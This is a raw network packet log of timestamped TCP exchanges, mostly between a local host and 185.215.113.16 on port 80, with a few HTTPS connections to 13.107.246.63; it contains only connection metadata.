Nov 23, 2024 15:37:27.767498970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.767575026 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.767616987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.768569946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.768624067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.768673897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.769417048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.769469976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.769501925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.770339966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.770390987 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.770438910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.771279097 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.771358967 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.771375895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.772191048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.772218943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.772242069 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.773154974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.773207903 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.773253918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.774194956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.774250984 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.774306059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.775165081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.775218010 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.775326014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.776118994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.776166916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.776174068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.776866913 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.776921034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.776962996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.777811050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.777930021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.777947903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.778745890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.778799057 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.778846979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.779706955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.779759884 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.779789925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.780600071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.780653000 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.780694008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.781544924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.781595945 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.781655073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.782479048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.782526970 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.782560110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.783493042 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.783545971 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.783613920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.784643888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.784660101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.784696102 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.785391092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.785444975 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.785470009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.786195993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.786247969 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.786289930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.787121058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.787172079 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.787218094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.788074017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.788127899 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.788153887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.789019108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.789072037 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.789113998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.789927006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.789978981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.790019035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.790868044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.790920973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.790970087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.791802883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.791857004 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.791903973 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.792726040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.792782068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.792814970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.793725967 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.793778896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.793864965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.794589996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.794642925 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.794718027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.795555115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.795610905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.795644999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.796503067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.796566963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.796616077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.797434092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.797491074 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.797513008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.798314095 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.798365116 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.798433065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.799280882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.799375057 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.799387932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.800184965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.800239086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.800288916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.801143885 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.801197052 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.801255941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.802058935 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.802114964 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.802146912 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.803009987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.803066015 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.803107023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.803945065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.803997993 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.804071903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.804863930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.804919004 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.804965973 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.805803061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.805854082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.805906057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.806727886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.806781054 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.806802988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.837562084 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.838046074 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.838102102 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.838464975 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.838476896 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.841226101 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.845573902 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.845597029 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.845973015 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.845979929 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.855937958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.909935951 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.911917925 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.911979914 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.912401915 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.912421942 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.926954031 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.929518938 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.929541111 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.929928064 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.929939985 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.949578047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.949795961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.950011015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.950084925 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.950098038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.950999975 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.951026917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.951057911 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.951092958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.951921940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.952058077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.952109098 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.952951908 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.953134060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.953186989 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.953758001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.953870058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.953923941 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.954726934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.954797029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.954863071 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.955636978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.955754995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.955806971 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.956532955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.956653118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.956728935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.957592010 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.957674026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.957719088 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.958431005 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.958570957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.958622932 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.959522963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.959630966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.959682941 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.960270882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.960369110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.960421085 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.961209059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.961321115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.961386919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.962271929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.962378025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.962433100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.963177919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.963336945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.963392973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.964015961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.964160919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.964216948 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.964943886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.965042114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.965146065 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.965903997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.966093063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.966799021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.966851950 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.966892958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.967727900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.967783928 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.967832088 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.967890024 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.968683958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.968776941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.968827963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.969842911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.969917059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.969971895 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.970622063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.970638037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.970688105 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.971479893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.971570015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.971621990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.972387075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.972500086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.972592115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.973335028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.973546028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.973607063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.974256992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.974371910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.974426031 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.975203037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.975305080 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.975368977 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.976129055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.976259947 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.976309061 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.977050066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.977185011 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.977257013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.978019953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.978116035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.978168964 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.978924036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.979046106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.979099989 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.979907036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.979984045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.980130911 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.980798960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.980915070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.980995893 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.981741905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.981910944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.981964111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.982872963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.982979059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.983031034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.983616114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.983743906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.983798027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.984529018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.984664917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.984735012 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.985491991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.985588074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.985644102 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.986471891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.986548901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.986603022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.987339973 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.987447023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.987504005 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.988261938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.988390923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.988461018 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.989341021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.989375114 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.989540100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.990446091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.990463018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.990493059 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.990520954 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.991137028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.991261959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.991312027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.992036104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.992156982 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.992283106 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.992927074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.993053913 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.993107080 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.993861914 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.993977070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.994029999 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.994801044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.995040894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.995197058 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.995739937 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.995840073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.995891094 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.996669054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.996783972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.996848106 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.997487068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.997623920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.997706890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.998636007 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.998683929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.005515099 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.142719984 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.142752886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.142767906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.142818928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.142846107 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.142956018 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.143256903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.143389940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.144162893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.144215107 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.144284964 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.145245075 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154395103 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154441118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154455900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154480934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154496908 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154510975 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154512882 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154525995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154541969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154542923 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154557943 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154582977 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154618025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154633045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154648066 CET	80	49724	185.215.113.16	192.168.2.5
